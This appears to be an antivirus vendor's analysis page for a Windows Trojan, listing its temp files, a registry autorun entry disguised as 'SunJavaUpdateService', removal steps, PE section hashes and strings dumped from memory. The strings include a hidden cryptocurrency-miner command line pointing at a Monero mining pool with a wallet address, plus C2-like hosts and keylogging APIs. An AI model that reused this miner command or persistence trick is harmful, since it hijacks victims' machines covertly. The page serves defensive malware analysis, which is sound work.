Trojan.Generic.19868252_2f56b14b83 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:3336

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:3336 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F661.tmp (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F5C3.tmp (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F602.tmp (5873 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F661.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F5C3.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F602.tmp (0 bytes)

Registry activity

The process %original file name%.exe:3336 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SunJavaUpdateService" = "c:\%original file name%.exe"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F661.tmp (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F5C3.tmp (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F602.tmp (5873 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SunJavaUpdateService" = "c:\%original file name%.exe"
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	1069056	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	1073152	434176	434176	5.4964	299d7a9aa52b13ba5f2d5369e308744f
.rsrc	1507328	8192	5120	2.58323	880f2078629321d8bb3ab48a891315b3

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_3336:

`.rsrc

3h%fQ

3h.jQ

t%SVh

t$(SSh

|$D.tm

~%UVW

u$SShe

Jiu2.iu

1wK(.wS

kernel32.dll

Kernel32.dll

killme.dll

ntdll.dll

avicap32.dll

wininet.dll

user32.dll

gdiplus.dll

ole32.dll

shell32.dll

oleaut32.dll

shlwapi.dll

Advapi32.dll

winmm.dll

rasapi32.dll

ADVAPI32.DLL

advapi32.dll

Shlwapi.dll

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoA

MsgWaitForMultipleObjects

keybd_event

GdiplusShutdown

ShellExecuteA

GetProcessHeap

GetKeyState

GetAsyncKeyState

GetWindowsDirectoryA

OpenWindowStationA

SetProcessWindowStation

GetServiceKeyNameA

CreatePipe

RegOpenKeyExA

RegEnumKeyExA

RegCloseKey

RegDeleteKeyA

Dwmapi.dll

SVCH0ST.EXE

c:\ProgramData\MSVCH0ST.EXE -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43js4ACCQE4dFJof3BiAhP1wEkwZHUK77GqAWgPURbKK4fZ6AYH9r2AWhwCvZWACVgAXMNnAmeJC6HnbjVoexwpY7ie9Yxp -p x

.text

`.rdata

@.data

.reloc

aeskeygenassist

Function not supported

Broken pipe

Inappropriate I/O control operation

Operation not permitted

BeaEngine.dll

KERNEL32.dll

0%1x1

0:0\0{0/1\1

= =$=(=,=0=4=

gdi32.dll

11.86.92.78##5858

hXXp://hksoft.blog.163.com/blog/static/2674570152016101091047509

software\microsoft\windows\CurrentVersion\Run\SunJavaUpdateService

hXXps://

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

http=

HTTP/1.1

Content-Type: application/x-www-form-urlencoded

hXXp://

https

11.86.92.98

{557CF400-1A04-11D3-9A73-0000F81EF32E}

{557CF401-1A04-11D3-9A73-0000F81EF32E}

{557CF402-1A04-11D3-9A73-0000F81EF32E}

{557CF405-1A04-11D3-9A73-0000F81EF32E}

{557CF406-1A04-11D3-9A73-0000F81EF32E}

Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr

C:\Windows\khpz.ini

SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion

Windows 10

Windows 8.1

Windows 8

Windows Server 2012

Windows 7

Windows Server 2008 R2

Windows Vista

Windows Server 2008

Windows XP

Windows Server 2003

Windows Server 2003 R2

Windows 2000

Windows NT 4.0

Windows 95

Windows 98

Windows Me

Web Edition

SOFTWARE\Microsoft\Windows NT\CurrentVersion\EditionID

SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuild

\Microsoft\Network\Connections\pbk\rasphone.pbk

c:\ProgramData\SVCH0ST.EXE -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43js4ACCQE4dFJof3BiAhP1wEkwZHUK77GqAWgPURbKK4fZ6AYH9r2AWhwCvZWACVgAXMNnAmeJC6HnbjVoexwpY7ie9Yxp -p x

@{1d5be4b5-fa4a-452d-9cdd-5db35105e7eb}

\Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Microsoft\Windows\CurrentVersion\Uninstall\

ws2_32.dll

%d&&'

123456789

00003333

F%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

__MSVCRT_HEAP_SELECT

iphlpapi.dll

SHLWAPI.dll

MPR.dll

VERSION.dll

WININET.dll

.PAVCException@@

.PAVCNotSupportedException@@

.PAVCFileException@@

(*.prn)|*.prn|

(*.*)|*.*||

Shell32.dll

Mpr.dll

User32.dll

Gdi32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

windows

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

out.prn

%d.%d

%d / %d

%d/%d

Bogus message code %d

libpng error: %s

libpng warning: %s

1.1.3

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

%ld%s>

0000%d

EMSG

Recv Sub Packet(%s)..

Recv Packet (%s)...

VVV.dywt.com.cn

%s\%s.lnk

Software\Microsoft\Windows\CurrentVersion\Run

msctls_hotkey32

;3 #>6.&

'2, / 0&7!4-)1#

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

zcÃ

c:\%original file name%.exe

#include "l.chs\afxres.rc" // Standard components

GetCPInfo

WinExec

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyA

GetViewportExtEx

GetViewportOrgEx

ScaleViewportExtEx

SetViewportExtEx

OffsetViewportOrgEx

SetViewportOrgEx

SetWindowsHookExA

UnhookWindowsHookEx

ExitWindowsEx

CreateDialogIndirectParamA

.rsrc

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

comdlg32.dll

GDI32.dll

MSIMG32.dll

OLEAUT32.dll

SHELL32.dll

USER32.dll

WINMM.dll

WINSPOOL.DRV

WS2_32.dll

01234567

(*.*)

%original file name%.exe_3336_rwx_00401000_0016E000: